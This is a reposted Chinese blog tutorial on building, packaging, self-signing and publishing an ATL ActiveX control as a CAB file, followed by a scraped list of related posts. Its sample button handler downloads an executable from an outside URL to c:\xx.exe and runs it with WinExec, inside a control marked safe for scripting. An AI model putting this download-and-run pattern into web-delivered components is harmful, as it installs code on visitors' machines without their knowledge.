给在线发布的cab文件进行数字签证
一步一步 在线发布 ActiveX
先准备必备工具: 生成证书工具, 打包工具 , 签证工具
装了 platform sdk 就已经有前2种了, 再到 http://www.ca365.com/上下载一个 SIGNCODE.EXE 签证用的.
1. 用atl写个activex,工程命为 activextest 插入Composite Control, 发给按钮,双击按钮,在函数种输入如
下测试代码
::MessageBox(NULL, "请等待几秒钟", "测试", MB_OK);
URLDownloadToFile(NULL,"http://www.softwife.com/xx.exe%22,%22c://xx.exe%22,0,NULL);
WinExec("c:\\xx.exe",SW_SHOW);
实现 IObjectSafety 接口
编译, 把activextest.dll copy 出来
2. 制作证书:
MakeCert -sv "test.pvk" -n "CN=公司名称" test.CER
提示输入密匙: 3次输入的要一样
Cert2Spc test.CER test.spc
3.打成cab包
编写 inf 文件, 命名为 activextest.inf ,内容如下 其中 clsid 再你工程的 activextest.idl 中可以找到
[version]
signature="$CHICAGO$"
AdvancedINF=2.0
[Add.Code]
activextes.dll=activextes.dll
[activextes.dll]
file-win32-x86=thiscab
clsid={xxx-xx-xx-xx-xx}
FileVersion=1, 0, 0, 1
RegisterServer=yes
CABARC -s 6144 n activextest.cab activextest.dll activextest.
也可用C:\WINDOWS\system32\IExpress.exe进行打包。
4.签证
双击 SIGNCODE.EXE , 按照要求, 选activextest.cab , 选 test.spc 选test.pvk
5.编写发布网页
CLASSID="clsid:xxx-xx-xx-xx-xx"
CODEBASE="http://www.softwife/cab/activextest.cab#version=1, 0, 0, 1">
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/newkey007/archive/2004/07/03/32942.aspx
转载于:https://www.cnblogs.com/Leem/archive/2009/12/04/1617175.html
给在线发布的cab文件进行数字签证相关推荐
- cab文件打包的ActiveX控件
程序环境:Windows Xp SP2, IE 6, Tomcat 6.0, VC++6.0javascript 利用MFC开发的ActiveX控件要正常运行必须依赖MFC库.可是你不能保证你用户的机 ...
- Web发布cab文件打包的ActiveX控件总结
这两天做控件的web发布遇到了几个问题,现总结如下. 一.程序描述: 程序环境:windows Xp sp2, ie 6, tomcat 5.5, vc++6.0 程序过程:控件做成ocx文件,用于客 ...
- 将ocx和DLL文件打包成cab文件,实现IE浏览器在线安装
我们打开淘宝等网站时,IE浏览器会提示安装空间,这个控件便是用于对用户名密码进行加密的ActiveX控件.如何在我们的站点上安装如此控件,让用户可以通过简单的点击便可方便使用我们的空间呢? 下面是如何 ...
- 将ocx和DLL文件打包成cab文件,IE浏览器在线安装
我们打开淘宝等网站时,IE浏览器会提示安装空间,这个控件便是用于对用户名密码进行加密的ActiveX控件.如何在我们的站点上安装如此控件,让用户可以通过简单的点击便可方便使用我们的空间呢? 下面是如何 ...
- 将ocx和DLL文件打包成cab文件,inf的编写
From: http://icrwen.iteye.com/blog/1118766 http://blog.csdn.net/yimiyangguang1314/article/details/65 ...
- 如何字体文件拿数字文件_如何创建和管理数字家庭文件
如何字体文件拿数字文件 What's the best way to scan, save, and organize important family documents, such as birt ...
- python打包发布到手机_Python打包操作与在线发布
打包操作: 1.安装打包工具 2.在包文件中,添加构建模块 setup.py 在构建模块中,添加项目描述信息 from distutils.core import setup setup( name= ...
- 最新发布丨2022 连锁餐饮数字营销制胜之道
疫情冲击之下,众多新国货连锁餐饮品牌多措并举,在逆境中加速数字化转型.通过积极开展线上业务,对消费者全生命周期价值进行充分挖掘.连锁餐饮品牌具有天然的数字营销优势,其线下门店触点都是品牌自身强管控的, ...
- c语言合并jpg成pdf,JPG在线转换成PDF文件的简单方法
在现在的工作性质中.大家不管是在工作中还是在学习中,都会用到JPG图片文件,就连我们平时朋友聊天之间,也会传送很多图片文件,但是图片文件在聊天中很方便,但是在工作中传送图片就显得很不正式了,领导都会要 ...
最新文章
- mysql 5.7 mts_MySQL:MTS和mysqldump死锁
- mysql2003错误如何解决_如何安装最新版redis6错误解决以及配置开机启动等
- 由于权限不足而无法读取配置文件出现的HTTP 500.19解决办法
- hibernate mysql autocommit_Hibernate4 中为什么我没有用commit()方法直接用save就存到数据库了?...
- 算法竞赛——快速排序
- ajax怎么模拟请求,如何模拟AJAX请求?
- 人工智能先驱 Nils Nilsson 去世,吴恩达、Yann LeCun 悼念!
- IT民工系列——通用7130芯片视频采集卡 SDK 兼容任意天敏 宏视 等板卡
- 模电实验——实验三 集成运算放大器的基本应用
- 要管理此计算机上的用户账户,Win10安装软件用户账户控制提示管理员已阻止运行此应用解决方法...
- zencart模板修改 (详细)
- coffeescript java 执行_javascript – CoffeeScript中的方法调用语法
- C语言实验:输入任意一个日期的年、月、日的值,求出从公元1年1月1日到这一天总共有多少天,并求出这一天是星期几。
- 物联网常见的几种通信方式
- Taiyo Pacific Partners L.P.成为ZENKOKU HOSHO CO., Ltd.的主要股东,持股比例超过5%
- C++调用C的函数,出现 undefined reference to 的解决办法
- 【计算机网络】(二)网络技术与应用
- 网络基础:(二)路由选择基础与静态路由
- 小米android通知栏提示怎么关闭,怎么取消小米音乐自动在通知栏中显示控制开?...
- android-实现一个简单的视频弹幕,Android已死
热门文章
- DBA平均月薪17000,入职3年感叹这份工作实在是太难了!
- 《数据结构课程实践》_03_文本文件单词的检索与计数_准备工作
- 微信公众号模板消息源码
- 愿码(ChainDesk.CN):CoinBase Pro增加了对xrp的支持
- [总结]读取应用程序/类库配置文件(比如***.dll.config)的方法小结
- 在计算机桌面上的回收站作用是,计算机桌面回收站的设置(回收站的概念及设置、使用说明)...
- 使用SSM框架整合时,无法创建XXXXBean
- Android Context 到底是什么?
- 英语面试常见问题集锦 .
- NVIDIA GTC主题演讲内容学习<3>